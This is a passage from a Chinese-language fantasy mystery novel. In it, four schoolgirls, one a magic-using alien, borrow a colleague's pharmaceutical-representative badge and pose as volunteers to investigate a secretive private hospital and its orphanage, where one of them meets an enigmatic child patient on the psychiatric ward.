“那个光束就像是动画片里的一样,比烟花都显眼了。”森山寺未央回忆着说。 几人讨论着,纷纷从那突如其来的追击战斗中缓过神来,转为开始思考行动方针。 “说起来虽然现在说可能是有点迟了,我们一会到神脉医院后要怎么进去?”有乐羽生问。 “对哦,这家是私人医院,和公共医院不一样吗?”犬山晓不太清楚。 “盈利制度和环境都不太一样,我们如果没有正规途径的话很难进去吧。”有乐羽生若有所思地说。 市区内有一所占地不小的公共医院,医疗资源良好并且历史悠久,病人数量庞大,近几年开设的青少年精神科非常受当地人信任,甚至有外地的病人特地为其中的一些医生造访医院。即使是没有去过的人也很难不认识这家医院,毕竟距离医院所在处的街道隔了三个红绿灯就开始拥堵,不分黑夜白昼,并且由于地处老城区,附近的居民尤其地多。 “不能和上次一样隐蔽地进去吗?使用隐身魔法进入其中进行探查什么的。”艾克里普提议道。 “可上次我们就什么都没查出来来,获得的线索有限很辜负我们大老远跑过来,等等我查查看。”森山寺未央掏出手机开始搜索。 “要不要试试去买一把梯子?不是说带着梯子可以随意进入任何地方吗?”有乐羽生开玩笑说,她有在好好地用双手握住方向盘。 “进去之后的话这一招行得通,在大门那一关比较麻烦吧?”犬山晓想了想。 “我们需要造访医院内部,以及孤儿院区域,同时最好能问院长一些问题。”艾克里普回忆着说,“然后我们的最终目的是找到幕后黑手的身份和与西西路相关的实验室所在地。” “这家医院几乎没有外界的新闻啊,事件也很少,因为是私立机构医院也不接受志愿者和外部的保险调查员。我们如果想进去的话最好是能伪装成其中的病人的家属,清洁人员或者其它有关系者,这样的话才不会留下自己的身份信息,不过这家医院几乎什么信息都不流通向外界,除了院长的信息。”森山寺未央说着展示手机里的照片。 后座的二人凑上前看,有乐羽生也撇了一眼,照片上的女性靠在窗边,窗外的光线没有眷顾她,显得她整个人暗沉地像是阴影的一部分,同时她并没有因为正在被拍照而露出什么表情,反倒是看上去有些疲惫,照片有一种陈旧感,似乎是很久没有更新了。 值得关注的是哪怕是这样的照片中也蓝到发绿的显眼发色,来自大洋彼岸的山脉西北区域人种被山风刮过的特有的坎坷面部骨骼不合时宜地出现在了风平浪静的湖边医院,下方有名字介绍:博蒙-阿贝尔。 “看上去和艾克里普有些不同,和克拉拉也不太一样,不过看得出是西方国家的人呢。”有乐羽生好奇地说,“总感觉最近遇到的外国人变多了呢!” “这位女士的脸型是很标准的西欧特征呢,而且虽然看上去很消瘦但骨架相当大,肌肉虽然看上去很强壮但在同样的族群中算瘦弱的。克拉拉小姐的金发和下巴很明显来自北欧地区,虽然平时喜欢缩起来但四肢非常修长呢,不过语言非常本地化。我的话实际严格来说算外星人吧?”艾克里普想了想说,有乐羽生因为这个用词忍不住笑了起来,看得森山寺未央心惊胆战。 “这个姓氏应该是亚贝琉的读音不同形式,或者说反过来,很难说其中没有关联,不过我们目前已有的情报很难给我们一个答案。”森山寺未央分析说,“不知道这次能不能了解一下这个姓氏背后的故事,联系天使的存在,感觉会是个恐怖老故事。” 森山寺未央笑容扬起,她很感兴趣。 “这张照片至少是1990年代往前了,”犬山晓回忆起选修课中的例子,“按这样倒推的话现在这位院长至少应该5-60岁了,为什么没有更新照片呢?” “确实很可疑啊,它们的网站都是10年才建立起来的,之前的信息少之又少,照片却用30年前的,难道说是怀旧派?”森山寺未央不着边际地猜测。 “也有不喜欢被拍照的可能吧,不是说这家医院院长也不怎么出席外界活动吗?”艾克里普说。 “确实如此,私人医院盈利模式主要靠病人们自掏腰包或者投资,不需要向公共卫生部门申请资金什么的。虽然说这家公司似乎有作为Evo的慈善接济但现在看来这一点非常值得怀疑。”有乐羽生说。 “那不就更难想办法光明正大地进去了吗?”森山寺未央揉了揉脑袋,“能不能向谁求助一下呢?启明星侦探会有这边的关系之类的可以联系一下吗?” “如果有的话她也不会拜托我们调查了吧,不过这样说来,未央你打开手套箱看看。”犬山晓说。 “可以吗?这里面是克拉拉小姐的东西吧!不过现在已经没有别的办法了如果之后要给克拉拉小姐做牛做马我也不是不能接受!”森山寺未央说着就拉开了手套箱。 “这个我知道,是奴隶制度!”艾克里普提出。 “也不至于,我们对这辆车唯一要负责的点就是要保证它回到停车场时身上别缺了什么零件。”犬山晓安慰了一下。 手套箱内顶光适时亮起,有什么装着颗粒状的罐子摇晃发出了沙沙声,森山寺未央摸索着从这里面取出了一个巴掌大的药盒和一枚带着编织扁平挂绳的工作证,她将证件抬起对着窗外的光线确认起了上方信息。 “医药代表工作证,持证人姓名克拉拉-德艾尔,公司名称Evo-Gen& Bio Tech,职位高级医药代表?”森山寺未央惊讶地念了出来,“原来是这个姓氏啊,而且这张证件还没过期诶。” 证件上的克拉拉难得地穿了正装,表情冷漠地对着镜头,没戴眼镜时她锐利的五官完整地呈现了出来,透过塑料保护膜传达自己的工作态度。 “那我们可以用吗?我们把照片贴上去就可以用吧!或者干脆让艾克里普变装成克拉拉小姐的样子?”有乐羽生提议说。 “如果行得通的话还是贴照片吧。”艾克里普说。 “我问一下克拉拉吧,等我打个电话。”犬山晓说着从副驾驶座椅后方的置物袋里掏出了自己的手机用食指翻动不长的通讯录,号码播出,其余几人安静地等待。 电话被接通了,扬声器那头传来什么东西被砸到地上的声音,至少不是手机。 “是我,我们从你的车里的手套箱里翻出了一个罐子和一张医药代表工作证,我们想用这个证件通过医药那边的进出验证。”犬山晓言简意赅地说明。 “啊?”电话那边的人声音非常低沉,大概是刚刚被电话吵醒用尽全身力气拿着手机,“随便你们,那玩意就和调查员证件差不多吧,记得把照片改了,你们没给我把车撞了吧?” “没有的事!德艾尔小姐!”有乐羽生大声地反驳。 “…好陌生的称呼,好了好了我知道了。”克拉拉头脑稍微清醒了一点,“那个罐子里面是未经剂量改动前的原始样本,一直放着忘处理了,里面的药物普通人闻一口都有概率痴呆,你们扔那别动就行。” “行,我们没别的事了,再见。”犬山晓说完就要挂断电话。 “等等!”克拉拉阻止了信号中断,“你们几个回来后都过来找我体检,知道了吗?” “我们两个倒是无所谓啦,之前都那样了。”森山寺未央看向有乐羽生。 “嗯,体检的话没关系,别对我们做些什么可疑的事就好了。”有乐羽生笑着说。 “我的话。”艾克里普有些犹豫。 “那位只能被监控摄像头记下来的就不用了。”克拉拉的声音有点闷,发声源似乎被布料隔住了,“没有可比较对象的样本也没什么意义,那么祝各位好运,再说一次别把我供出来我这里还有合同没到期知道了吗?” 电话挂断了。 “太好了呢未央,不用做牛做马了。”有乐羽生笑着说。 “真的太好了吗?”森山寺未央有些怀疑,但很快就抛之脑后了,“要制作我的复制人的话那我希望代号是MI0!” “我会尽量阻止这种事情发生的。”艾克里普叹了口气。 “抱歉,我会注意她的行动目的的。”犬山晓有些担心道德伦理问题,“至少不会出现大家回家吃饭的时候发现自己的位置上已经有人在的情况。” “好具体啊!”有乐羽生想了想,“不过也不错,如果书房里也能坐一个就好了。三个我的话好好商量一下应该能坚持好久了吧!” “我也会阻止她把你们的体检报告卖给第三方,也会阻止她将你们的血液样本作为素材融入药物中进行实验,也会阻止她用你们把你们的生物信息录入模型,不对,这个我应该阻止不了。”犬山晓想了想,郑重说,“那么至少我会在她用模型结果研究什么的时候看着她的。” “…太具体了,等一下,之前那句话不是在开玩笑吗?!”有乐羽生大惊。 艾克里普又叹了口气。 “那么接下来该决定把谁的照片贴在上面了,毕竟工号不好伪造。”森山寺未央说,她毫不在意犬山晓之前说的每一个结果,“而且我们得分两路,孤儿院那边没有什么禁止事项,我认为大概不会看管地非常严,我看见有本地机构给神脉孤儿院捐赠物资的新闻,我们充当普通的学生志愿者就可以想办法蒙混过关了。” “从天使的特征来看,那位院长应该也是魔法使用者,虽然不知道年龄是否有影响到她的能力,但小心为上。”艾克里普说,“所以院长那边由我去比较好,如果出现问题的话我可以应对。” “那我跟着你过去吧,作为助手或者实习生。”犬山晓立马说。 “艾克里普看上去确实就比我们看上去像大人些!那我和羽生去孤儿院那里,顺便探查一下其余地区。”森山寺未央看向电子地图,“说起来这个医院位置真的很偏,而且面积非常大,大在大面积的空置平原和森林地区,难道说院长在考虑发展农业吗?” 地图上象征着神脉医院的红色虚线将地图沿海的一片地区包括在内,离国道有一定距离但也被包括进了高速沿途风景线内,地图模型中象征建筑的灰色方块仅仅占整片地区的十分之一都不到,其余是大面积的草地和森林。区域临湖,湖临海,海临地区发展。 “这样大的空置区域要用来做些什么不好的事情也很方便吧,所处位置偏僻的话当地政府很难管制,而且那里还是私人机构。”犬山晓皱眉说。 “这样说的话就有点像那种恐怖电影里,无人古宅里藏着连环杀人犯什么的。”森山寺未央抖了抖。 “这里面只会有很多挂吊瓶的老头吧。”犬山晓无奈地说。 “或者打着吊瓶的连环杀人犯老头,哈哈哈哈哈!”有乐羽生又笑了起来,好在临近出口,车速慢了下来。 “这样的场景在西方大陆还挺常见的,一大片空旷的区域里突然冒出来一个城堡或者庄园,一直有人走来走去清理卫生。”艾克里普回忆着说,“而且这样的地方一般被称为故乡,为什么要把故乡放在这样偏僻的地方呢?” “大家都喜欢在一无所有的时候嫌弃自己的出生,大富大贵的时候怀念自己的出生呢,慈善宴会里很多会在有了一定积蓄之后返乡,这些人说起话来都莫名其妙地看不起人。”有乐羽生反感地说。 “我知道!就是一副‘你不懂吧’的样子的人,问的话就只会一味地抒发一己之见和自以为是的情绪,我们小时候回老家拜神的时候经常能遇到这样的亲戚。”森山寺未央深以为然。 “容易满足也是一种优点,不过我不是很擅长应对这样的人呢。”艾克里普皱眉说。 “对吧?而且真要讲理的话又很快就会生气起来了。”森山寺未央撇了撇嘴。 “幸好我们没有遇见过这样的老师,果然还是活在当下比较好。”犬山晓点点头说。 聊天间,公路开始变得平直,海风透过车窗涌入,带着些许咸湿的特色开胃气息。不远处的出现在公路旁边这是一片巨大的湖泊,岸边有渔船停泊,湖面上偶尔有海鸥掠过。 “快到了!神脉医院就在公路出口的不远处,不过我们一会要先找地方给艾克里普拍一张证件照。”森山寺未央看着地图说。 “那就先往城区开,我顺便去给车加油,不过我们先去吃饭吧!”有乐羽生兴奋地提议说,离几人早上出发的时间已经过去了三个半小时,中间的遭遇虽然惊险但也让时间加速了不少。 “那就去找现烤鳗鱼店吧,这里的露营地,海岸线和鳗鱼很有名哦,炭烤的和酱烧的鳗鱼都很好吃!而且价格比市区那里划算特别特别多。”森山寺未央激情推荐。 高速出口临近。 37.trēs 车辆离开高速,缓缓停在第一个红绿灯前等候放行。新的城市已隐约可见,但远远看去那街道与路口比起几人出发时看到的场景空旷许多,高楼较少,车道宽阔到令人感动,低矮的建筑呈不规则起伏排列,氛围相当悠闲。 “先去这里附近的一个中心广场,这里有家照相馆,还有本地特色现烤新鲜活鳗鱼!”森山寺未央更新了导航,有乐羽生悠闲地降下车窗开始单手开车。 新风裹挟细碎声音探入车内空间,带着些许食物香气。 “虽然我从来没有度假过但我现在有种正在度假的感觉,这里和我们那完全不一样啊。”有乐羽生深呼吸了一番,“空气里的成分难道有所不同吗?” “工作还没开始哦?”犬山晓笑着说。 “这里人虽然也多,但声音却比市区那里安静很多,应该是通话中的人的数量减少的原因。”艾克里普打量窗外的街道,“这里很平静呢,无论是街道还是人。” “这里车也很少吧,人能发出的声音其实并不大。”森山寺未央把头搁在窗边,对这突如其来的一日游终于有了些实感。 “而且这里动物也很多呢,动物发出的声音和人发出的声音音量差不多了。”艾克里普看着窗外街道上的海鸥说,“什么信息都不包含的声音比说话声要安静许多。” 海鸥与艾克里普对视一眼,头也不回地离开了。 “这样说的话,在这里生活的感觉很舒适,也不需要考虑太多东西。”犬山晓言辞间有些羡慕。 “那退休了之后来这里隐居也不错吧?饭后还可以去钓鱼”有乐羽生开玩笑说。 “退休也太远吧?”犬山晓也笑了。 车辆逐渐驶向目的地,这个地区商业集中地繁华的区域靠近中央车站,但那里离神脉医院距离遥远,几人选定的位置仅仅是一处小型商业中心,午餐时间人也不多。广场主要靠特产食物市场和去野外露营爬山的游客住宿饮食盈利,停车场的边界与平房建筑的后方处,自然与人的那条线有些模糊。 将车辆停靠在到处都是青苔和杂草的空旷停车场后,几人下车,车叫唤了两下后锁上了,艾克里普为其附加了隐逸视线的魔法。 “果然这辆车出现在这种地方很奇怪啊。”有乐羽生拉伸着肩颈。 “电影里发生这种事一般预示着有大事要发生,不过事实也确实是这样了。”森山寺未央叉着腰深呼吸,吸入空气呼出脑部垃圾,脚踏实地之后她的精神好了许多。 “这种地方真的会有拍照的店吗?”犬山晓眺望着远方的老旧建筑怀疑道。 “地图上说有家连锁大超市,这家店有照片服务,安心吧!”森山寺未央点了点头。 “这里空气好平和,是因为离山很近吗?植物很茂盛而且不会因为品种被除掉!”艾克里普说着看向远方的山脉,“山上步行道也比我们那里的简陋许多。” “其实是因为缺乏打理吧,不过现在自然野性也成为了另一种形式的特产了呢。”有乐羽生说着小心地把车钥匙收进了口袋里。 几人一边聊着天一边前往超市,商店工作人员仅三个,也可能有人该在不在,青年工作人员并没有对几位高中生的出现感到惊讶,只是在听到说需要照相愣了一会才反应过来。不过好在设备还可以工作,员工也可以,摄影师说需要过半小时才能拿照片,几人便决定先去餐厅。 “居然要等半个小时,难道说是现场去洗照片吗?证件照还用胶卷的话是不是有点奢侈了”犬山晓对此感到不解。 “其实是,”森山寺未央回头看了一眼后说,“我看见那个人没操作好照相区域的电脑程序,大概是让我们离开后打电话问怎么解决吧。” “总感觉这种事情总是以各种形式在各种地方出现。”有乐羽生微笑着说。 “可不是嘛。”森山寺未央点点头。 “这家店我在市区也去打印过文件,明明是连锁店但两边还是不太一样呢。”艾克里普感觉很新奇,“工作人员也不太一样,这也是因为地方文化差异的原因吧,西部市区那家不允许在围裙下面穿自己的衣服的。” “这里这家也不该允许的,不过没人管啦,更别提这里很多商品都没有及时更新呢,那个在柜台的口香糖甚至只有原味的。”森山寺未央说,她刚才也注意到了这一点。 “可能是没有购置货源或者干脆就没摆出来,本地居民大多数都在保持一种持久不变的生活。”有乐羽生看向远处骑自行车的小孩子们,对她们四个以前从未见过的人投来注视,有乐羽生朝那些人摆了摆手,孩子们跑开了。 “有新鲜的外来物刺激一下不好吗?至少孩子们会开心的,不过本地长居的人确实是不需要新的东西了吧。”犬山晓看着那些孩子说,“游客和孩子们会喜欢,但那不过是因为好奇心,大人一旦有了自己想要的东西,就会变得不再希望有别的什么去打扰她了。” “游客们也不会太在乎这点的,这里只是一个短暂歇脚的地方,只有这里的居民会一直在这样一成不变的环境中生活下去。”有乐羽生叹了口气。 “看个人需求吧,对环境有追求的人会自行前往别的城市,在我看来这样的生活就很好了。”犬山晓说,她看见平房中的一间玻璃门微张,一个孩子拉开那门跑进去又带着一个小布包跑出来,与在门口等她的同伴比划着吵闹些什么。 “晓奶奶,我们放假了会记得回来看你的。”森山寺未央抹着眼睛说。 “奶奶奶奶我想吃分子料理空气感蒲公英生巧克力冰淇淋,给我买嘛!饮料的话我要加马斯卡彭奶油的七色意大利汽水。”有乐羽生也凑过来说。 “奶奶这里有咸鱼干和烤红薯。”犬山晓从口袋里掏出了蛋白棒,分别给几人都发了一只,全都是原味。 “啊,谢谢奶奶。”艾克里普认真地道谢。 于是炭烤鳗鱼店的老板在门口接见了四位明明是来吃饭却在咀嚼蛋白棒的高中生。 “四位吗?”包着头巾的中年人见怪不怪地询问,得到答复后带着她们坐在了靠窗的位置上,桌子中间有炭火炉,上面架着铁烤网。座位是木质的,哪怕垫了草编坐垫也硬邦邦,百叶窗拉起后向众人展示其当地引以为豪的风景。 “菜单在这里,你们的话点三人份就够吃。”老板给每人面前摆上一本菜单后走开了,店内此时有些其它客人在,一部分只是单纯来这里吃点便饭的就没有开烤炉。 “大家都要几人份的?”森山寺未央翻开只有三张内页的塑封菜单,翻开后第一页是特色现烤活鳗鱼和酱烧鳗鱼,第二页翻开是小菜主食和其它可以烤的东西,包括鳗鱼的内脏,第三页是酒水饮料。 “我要一份炭烤的和一份酱烧的,还要一份章鱼小丸子一份鳗鱼寿司卷!”有乐羽生迅速地决定好了。 “那我要一样的!”艾克里普迅速地决定好了。 “我要两份炭烤的和一份蔬菜乌冬面,还要一份菌菇根茎蔬菜拼盘。”犬山晓说。 “那这样的话,”森山寺未央抬手呼唤老板,“我们要五份炭烤三份酱烧两份章鱼小丸子一份混合天妇罗两份鳗鱼寿司卷一份菌菇根茎蔬菜拼盘一份蔬菜乌冬面和一份枫叶馒头。” “什么我没看到有甜点啊!”有乐羽生紧急翻动菜单,发现甜点在整本菜单的底部,“我还要一份枫叶糖浆苏打谢谢!” 店内其余音量为点单者让出了快捷通道,其它客人投来视线,老板没有动笔。 “有人在拍摄什么节目吗?”她狐疑地左右观察,甚至走到店门口往外打量。 “我们就是来吃个饭,要我再报一遍吗?”森山寺未央拍了拍菜单,“看清楚了我们可是高中生,知道高中生意味着什么吗?” 犬山晓隐约听见有人在讨论现在的高中生胃口真好什么的,心里感慨这里的人真是淳朴。 “我记着呢,先付钱,这里不支持刷卡。”森山寺未央将金额分别报出,大家掏出钱包付过钱,几人老板见状也没说什么了。 “果然当地吃特产又新鲜又实惠,市区那里这样的鳗鱼价格要翻几倍呢。”森山寺未央得意地说,“一想到未雅现在可能还在写作业就觉得真可怜啊哈哈。” “这样一说那确实。”有乐羽生想起自己家里的午餐,对比之下内心产生了一些愧疚,并准备回去前给森山寺未雅带一份谢礼。 “顺利的话今晚就能回去了,就希望不会遇到麻烦的对象呢。”艾克里普叹了口气说。 “难说,我觉得那边发现自己的行动失败后肯定会有所行动的,不过最坏也就是多派点人来追杀我我们,大家小心吧。”犬山晓心里有不好的预感,她在坏的方面的预感一直很准。 “那位院长肯定不好对付吧?也不指望能从她嘴里问出什么了,希望我们能在不得不离开前找到有用的线索。”森山寺未央撑着脑袋看向厨房里杀鱼的厨师,“哇好快的刀。” “说起来你们准备好怎么进入孤儿院了吗?”犬山晓问。 “我找到了网上的当地公共卫生关怀协会的志愿者申请表,一会我们去买一些慰问品进去分给那些孩子就好了。”有乐羽生点了点头。 “我也不清楚怎么应付小孩子,不知道那边人多不多。”森山寺未央说。 “刚才开车过来的时候可以看出那地方面积真的很大,比日之森校区还大不少,不过利用率挺低的,我没在室外看到人或者设备。”有乐羽生回忆着说。 “孤儿院也会有学习课程安排吗?”森山寺未央猜想。 “我见过的那些大多数会有学龄前教育,小学之后就会交给当地的公立学校了,不过也有大型福利院有内设学校的。”艾克里普说。 “那不就和住宿制学校差不多了吗?”森山寺未央说。 老板和帮工推着一辆小推车来到了几人桌边,帮工给她们一人面前摆了一个炉子,老板先把炉子点起,随后将处理好的鳗鱼放在烤炉上开始烤制,帮工帮忙摆放小菜和蘸料,并将几人的主食也一一端了上来。 几人见状也没有再聊天,改为专心吃饭,新鲜的鳗鱼处理好后基本没什么腥味,反倒是不需要撒香料也在烤制时隐隐散发出香气,酱烧的调理是经典鲜甜口味,不过比起市区的酱烧鳗鱼饭口感更加紧实一些。 几人吃饭非常快,离开后老板看着几人的背影狠狠松了口气。 从餐厅出来后几人去取了照片,艾克里普小心地将工作证从塑封中取出,贴上照片再塞回去,随后将其挂在自己脖子领口处。 “如何呢?”艾克里普学着印象中的都市白领挺胸抬头。 “总感觉缺了些什么?”森山寺未央走来走去地看。 “服装,服装啊!”犬山晓提醒说。 “对哦。”艾克里普使用变形魔法将自己身上的衣服变换成西装模样。 “哦哦,完全就是大人!”森山寺未央赞叹道。 “居然连品牌花纹都是正确的,好厉害!”有乐羽生看向西装的领标。 “我的校服也是用变形魔法做成的,所以其实我一直是处于变身状态。”艾克里普有些不好意思地笑着说。 “真是难以想象。”犬山晓敬佩地说。 几人开车前往神脉医院,有乐羽生将车停在神脉医院区域外差不多三公里处一个不知名废弃建筑的前方广场,几人下车步行前往医院门口。 根据神脉医院官方网站的介绍,神脉医院建立于2005年,若是作为公立医院那可能还不够格,但作为私立医院只要器械足够尖端,医疗资源足够饱满,自有顾客上赶着来买单的。该医院虽然没什么对外的新闻,但业内人士若遇到有类似需求的顾客都会为其推荐这家医院。 而神脉医院的孤儿院区反倒并不出名,与大多数教会或社区公共卫生部门组成的孤儿院不同,该孤儿院仅接收患有疑难杂症的儿童。这些孩子基本上没有被收养的可能并且有远超寻常孤儿院能提供的医疗服务需求,所以虽然该孤儿院内部并不设有正式的教育机构也不送其中的孩子前往公共教育机构,政府也并不对此追责。 毕竟那些孩子大部分会在成年之前死去,而愿意为这些孩子短暂的人生提供歇息之所的神脉医院孤儿院自然被当地政府部门的慈善典型素材被填入年度报告中。若是有孩子侥幸从幼年的无助中存活下来则会继续在孤儿院中生活下去,通常作为孤儿院管理员或者医院帮工一边帮忙一边接受治疗。 几人从很远处就能看到神脉医院那几乎称得上是连绵不断的围墙,和从公路上看到的景象不同,围墙之后仅有些许建筑的上半部分展现在众人面前,大部分地面情况隐藏了起来。围墙外有用石雕筑成的名牌,走近了可以看到悬挂在名牌旁以及各个建筑顶端的医院标志:水滴状的黑色金属上环绕着一条黑色的缎带,头部与尾部相连,后方有一根医仗。 “那个是神脉医院,圣心物流和医疗保险的Logo,我也不清楚那都代表的是什么。”森山寺未央不太喜欢这个图案。 “医院的话一般来说是蛇或叶子比较常见,这个图案不知道是不是代表了什么生物。”艾克里普说。 作为大门口的贴门外设立了保安亭,隐约可以看见在其中值班的工作人员。 【接下来就靠魔法传音交流了,未央不要和羽生分开哦。】艾克里普说。 因为森山寺未央还是没有学会主动发起魔法传音。 【大家都加油!】有乐羽生点点头。 “您好,”艾克里普敲了敲保安亭的玻璃,“我是Evo的医药代表,来洽谈新药物的事宜。” “好的代表,请问有预约吗?”工作人员拉开玻璃窗询问。 “只是洽谈,以及收集上一期的药物反馈。”艾克里普按照之前预设的说,“这是我的工作证。” 工作人员对着工作证看了几眼记录了一些信息,大概是工作证上Evo的公司名称带来的便利,对方并没有多加询问。 “后面那些学生是?”工作人员看向后方的三人问道。 “这位是我的助理,那两位是来孤儿院参观志愿者,我们坐同一班巴士来的。”艾克里普说。 “好的,您先进去吧。”工作人员启动大门开关,森山寺未央和有乐羽生上前展示了申请表,上面填写的学校信息是来自本地的一所公立学校。 【不知道这里的看望流程是什么样的,希望有自由行动的时间呢。】有乐羽生说。 “我们给这里的孩子准备了歌曲演出!”有乐羽生笑着说。 【我们有吗?】森山寺未央一愣。 【刚才我在商店找到了了一个卡祖笛和一对沙锤!】有乐羽生早有准备。 【真有先见之明!】森山寺未央感叹说。 “请稍等,我会让负责人带你们过去。”工作人员转头通过内线电话呼叫孤儿院的管理员。 艾克里普和犬山晓沿着人行道向医院建筑走去,神脉医院一共有三栋主楼,分别是门诊楼住院楼和综合医疗楼,其中住院楼顶层视野最高,综合医疗楼最矮并且最靠里面,门诊楼在最外部。医院主干道并不通往孤儿院地区,其所属建筑在所有医疗建筑的后面,需要在入口处从另一条小路前往。 “就避免打扰而言算是可以理解的。”犬山晓评价说。 门诊部前方的广场修建风格相当有艺术气息,喷泉和雕塑具有,路灯也融入了风格,和错落有致的树门巧妙地结合在一起,展现设计者那以低调的舒适感为主的设计理念。草地上和花园区域有买单者散步,不时有卫生部门的人带着清扫工具走来走去扫落叶,可以看出这家医院至少在公众形象方面预算是相当充足的。 二人走到喷泉旁时艾克里普注意到了其中的雕像下方都雕刻着一行字。 “Per Vulnerum, Sanatio。经由伤口,方得治愈。拉丁语,倒是和医学有所相关,不过这是什么名人名言吗?我并没有读到过。”艾克里普读了出来。 “没有伤口也就不需要治愈了吧,难以理解啊,那个标志也是。”犬山晓觉得莫名其妙。 “是因为是私人医院吗?在各种形式上都非常有个性呢。”艾克里普很快就接受了。 “确实和公共医院很不一样呢,这里像个公园。”犬山晓看向远处,人形大多动作闲散闲适,也可能是没办法激动起来了。 “不过无论在哪里,病人们看上去都差不多。”艾克里普说。 “是吗?公共医院里的病人更匆忙些吧。”犬山晓说。 “在我看来都差不多吧。”艾克里普笑着摇了摇头。 “好吧,”犬山晓选择性掠过了这个话题,“我们需要找的东西大概率不会集中出现在一栋楼里,分开行动吧,我们得尽快。” “我有工作证的话出入各种场所都会安全一些,我去门诊部和综合医疗部吧,其它的地区麻烦晓去看看了。”艾克里普说。 犬山晓能看出艾克里普对于自身探查手段的自信,这让她在心里松了口气。 “好的,那我们结束调查之后在综合医疗部一楼碰面吧,隔远了传音的信号不好,有事记得直接用手机叫我。”犬山晓点了点头,随后二人分头行动。 犬山晓抵达住院楼外部,与其它两栋完全为办公或医疗服务的建筑不同,住院楼的表面结构为玻璃,而且在部分楼层能看到阳台,想必这家私人医院的患者的住院体验并不会差到哪里去了。 一楼大厅处,人声在挑高的大厅中回荡。 住院楼又被标注为C楼,一共17层,一到四层是各式各样的活动区域,楼层导航上标注了餐厅电影院健身房之类的指南,使这里看上去更像是酒店。一楼是行政管理和信息区,也有个小型便利店,犬山晓看到护士们推着小车准备把东西送往楼上,角落处有病人的家属坐着。 电梯外的墙面上有更为详细的楼层指南,5-10层是普通病房,10-13层是儿科和妇科病房,13-15是重症病房,16层是精神科和特殊病房,17层是VIP病房。犬山晓觉得自己如果想找到些什么有用的东西最好是往13楼以上走,如果能和一些特殊的长期住院病人交流就更好了。 特殊的长期住院病人,犬山晓想了想,带着这个称号的人应该在16层及往上。 通往楼上的电梯一共有三部,以及一部紧急用的快速电梯,无论进入还是选择楼层都要刷卡,犬山晓看准时机隐身后跟着两位护士进了电梯,随后一直在其中等待着有进入上层的人进入。不知多少次电梯门开合之后,两位好心的护士进了电梯后刷钥匙卡,摁下16层的按钮。 好在人不多,不需要她挂在电梯天花板上,她挤在角落里,很快发现住院部的电梯的按钮在1楼之下还有一个没有标注的空白按钮,但外面的楼层指南并没有提到有这一楼层。按理来说哪怕是停车库或者垃圾房都应该标注出来防止病人误闯才对,犬山晓将这一点记下。 “又是给那个孩子送东西?这次她要什么?左轮手枪和三盒子弹吗?”其中一位护士笑着聊起了话题,语气里带着调侃和可惜。 “她也知道我们不会给她这种东西的,唉,老是这样她不累吗?”另一位护士看上去很累,撑着推车把手弓着背。 “所以她才会被送回来三次啊,真不明白为什么要在她身上浪费这么多时间,明明那些人也不是那么在乎那些孩子吧?”笑着的护士讥讽地说。 “这种话放在外面说,那边有那边的理由,我们不需要管。”很累的护士态度冷漠。 “我其实挺怕她的,你不觉得吗?那个孩子很有恐怖电影的气质?”笑着的护士说。 “主要是因为她不说话还老盯着墙看吧,她到底是不是精神科确诊的?”很累的护士说。 “谁知道呢,但孤儿治精神病有什么用,而且还是那边的孤儿。”笑着的护士笑了。 “搞不懂,这是她不知道第多少次‘急性恶化’了,正常人哪能恶化这么多次?”很累的护士说着发现快到了,于是直起了腰。 “这次又是多久之后会被赶出去呢?三天?”笑着的护士说。 二人话语间对那位病人毫无由来的猜忌从不间断,丝毫不见对其的个人或病情呈现正面情绪。犬山晓确定这应该就是她需要找的病人。 电梯稳稳地停在了16楼,门开了,犬山晓等几位护士离开电梯后跟在几人身后出去。16层的地面铺着更厚的地毯,四周的墙面被软包覆盖,灯光也更加昏暗一些,可见范围内无窗,周围安静得像是被封在一堵墙里面,走廊里只有手推车轮子转动的声音。 护士在1610房间停下,笑着的护士一边带上手套一边摁下门铃,二人的表情以惊人的速度同步为礼貌微笑,等候两三秒之后,二人使用钥匙卡打开门锁进入房间内,犬山晓没有跟进去,而是等候在屋外。 门的隔音很好,但她依旧能听见其中的动静。 “编号RP-E315,我们将对房间进行清洁,并检查您的身体状况。” 没有回答的声音。 “前往您身体有哪里不舒服吗?近期头部有出现眩晕的情况吗?上一次您入院时反馈有幻听症状,前往最近有出现类似的情况吗?” 没有回答的声音。 “好的,我们为您带来了您要求的钉锤和攀岩绳,因院方管理条例为您替换了相似但更为安全的物品,请问您还有别的需要的吗?” 还是没有回答的声音。 “那么例行检查和卫生管理就此结束,如果您有任何需要请按铃,我们会第一时间反馈。祝您身体健康生活愉快!” 随着道别的礼貌语句落下,房间门再次被打开,二位护士走出房间的一瞬间面部表情转换为松了一口气的疲惫,哪怕她们没有在里面遭到任何责骂刁难,似乎光是与那位,犬山晓趁门关上之前迅速闪身进入其中。 房间内的布置和普通的病房没什么不同,但在细节的处理上加上了防止精神病病人自我伤害的设置,窗户很高且无法打开,室内灯光温暖而昏暗,地上也铺设着地毯,风格与医院装修统一。 房间内唯一在呼吸的存在此时正背对着门口坐在病床旁给探病的人提供的沙发椅上,身型瘦小缩在蓝白条纹病号服里,蜷缩着面对椅背,没有头发,没有动作,刚才也没有对二位护士带来的东西以及做的事产生任何的反应。 犬山晓想起护士们说过的话,心里有些在意其中细节,但房间内很空旷并没有什么可以翻找的东西。 就在她思索着要不要开口问些什么的时候,那蜷缩者转过头来,瞳孔直直地看向了她。 犬山晓一愣,并没有立即做出行动。 而那人则也就继续这样眼睛都不眨一下地看着她的方向,故意较劲一般没有动。 “你为什么不说话?”那人先开口了,声音嘶哑分不出性别,但犬山晓能判断出其年龄大概是10-13岁之间。 犬山晓顿了顿,没有解除隐身,而是直接开口。 “你看见我了,”犬山晓说,“怎么做到的?” 而得到回应的那人不再保持蜷缩状态,而是正式整个人转过来面对犬山晓。 “因为你就在那里,莫名其妙的问题。”那人将一条腿屈起抱在怀里用膝盖顶着下巴,开口说话,“你又是来找我做什么的?” 这个问题犬山晓一时也不知该怎么回答。 “不对啊,上一个能这样做的人在很久之前就死了,”那人头歪了歪,“但是你的气息很熟悉,你是新来的吗?谁告诉你我在这里的?” 犬山晓不打算回答对方这些她无法理解的问题,但显然对方知道些什么。犹豫再三,对“尽快结束这一切”的迫切战胜了“离她远点”,她决定询问对方一些问题,并在对方做出异常举动之前将其灭口。 “我是从外面来的,医院外面。”犬山晓警惕地说,“我来这里是想调查一些东西,你能回答我吗?” 那人愣了愣,似乎是对这样的答案没有反应过来,很快她惊奇地从椅子上蹦了起来,不高,病号服空挂挂地随着她的意识舞动着向犬山晓的方向走来,并在她身边绕着圈。 